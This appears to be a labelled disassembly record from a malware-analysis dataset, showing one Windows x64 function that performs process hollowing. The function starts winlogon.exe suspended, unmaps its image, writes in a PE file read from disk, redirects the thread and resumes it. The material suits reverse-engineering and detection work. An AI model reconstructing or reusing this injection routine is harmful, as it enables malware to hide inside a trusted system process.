Function at 0x1400019e0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Read file on windows
Resume thread
Use process replacement

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x618
xor eax, eax
mov ecx, 0xc
pxor xmm0, xmm0
movabs rdx, 0x73696e696d64415c
xor r9d, r9d
xor r8d, r8d
lea rdi, [rsp + 0xd8]
mov qword [rsp + 0xd4], 0
mov qword [rsp + 0x130], 0
rep stosq qword [rdi], rax
mov qword [rsp + 0x88], rdx
movabs rax, 0x73726573555c3a43
movabs rdx, 0xe65c706f746b7365
mov qword [rsp + 0x80], rax
movabs rax, 0x445c726f74617274
mov qword [rsp + 0x90], rax
movabs rax, 0x65745caca9e9a89c
mov qword [rsp + 0xa0], rax
movabs rax, 0x722d646c6975622d
mov qword [rsp + 0x98], rdx
movabs rdx, 0x656b616d635c7473
mov qword [rsp + 0xb0], rax
movabs rax, 0x5f74636166697472
mov qword [rsp + 0xa8], rdx
movabs rdx, 0x615c657361656c65
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0xb8], rdx
movabs rdx, 0x6578652e343678
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xc8], rdx
lea rdx, str.winlogon.exe
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x170], 0x10000b
mov dword [rsp + 0xd0], 0x68
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001d60
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_create_process._Error:__d_n
mov edx, eax
call sym.printf
xor r9d, r9d
mov r8d, 1
lea rcx, [rsp + 0x80]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0
lea r12, [rsp + 0x140]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor edx, edx
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
mov edx, eax
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, esi
lea r9, [rsp + 0x54]
mov rcx, rbx
mov qword [rsp + 0x20], 0
mov r13, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rsi, dword [r13 + 0x3c]
mov rcx, qword [rsp + 0x68]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, r12
lea rcx, str.ctx:_p_n
call sym.printf
mov rax, qword [rsp + 0x1c8]
mov r9d, 8
add rsi, r13
lea r8, [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
lea rdx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsi + 0x30]
cmp qword [rsp + 0x58], rdx
jne 0x140001c6c
mov rcx, qword [rsp + 0x60]
call rax
mov rdx, qword [rsi + 0x30]
mov r8d, dword [rsi + 0x50]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x3000
xor ebx, ebx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsi + 0x54]
mov rcx, qword [rsp + 0x60]
mov r8, r13
mov qword [rsp + 0x20], 0
mov rbp, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdi, rax
mov rdx, rax
call rbp
cmp word [rsi + 6], 0
je 0x140001d01
nop word cs:[rax + rax]
movsxd rax, dword [r13 + 0x3c]
lea rdx, [rbx + rbx*4]
add rbx, 1
lea rax, [rax + rdx*8 + 0x108]
add rax, r13
mov ecx, dword [rax + 0x14]
mov edx, dword [rax + 0xc]
mov r9d, dword [rax + 0x10]
mov qword [rsp + 0x20], 0
lea r8, [r13 + rcx]
add rdx, rdi
mov rcx, qword [rsp + 0x60]
call rbp
movzx eax, word [rsi + 6]
cmp eax, ebx
jg 0x140001cc0
mov eax, dword [rsi + 0x28]
mov r9d, 8
lea r8, [rsi + 0x30]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], 0
add rax, rdi
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c8]
lea rdx, [rax + 0x10]
call rbp
mov rcx, qword [rsp + 0x68]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
add rsp, 0x618
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, str.Process_created_successfully_n
call sym.printf
jmp 0x140001b5d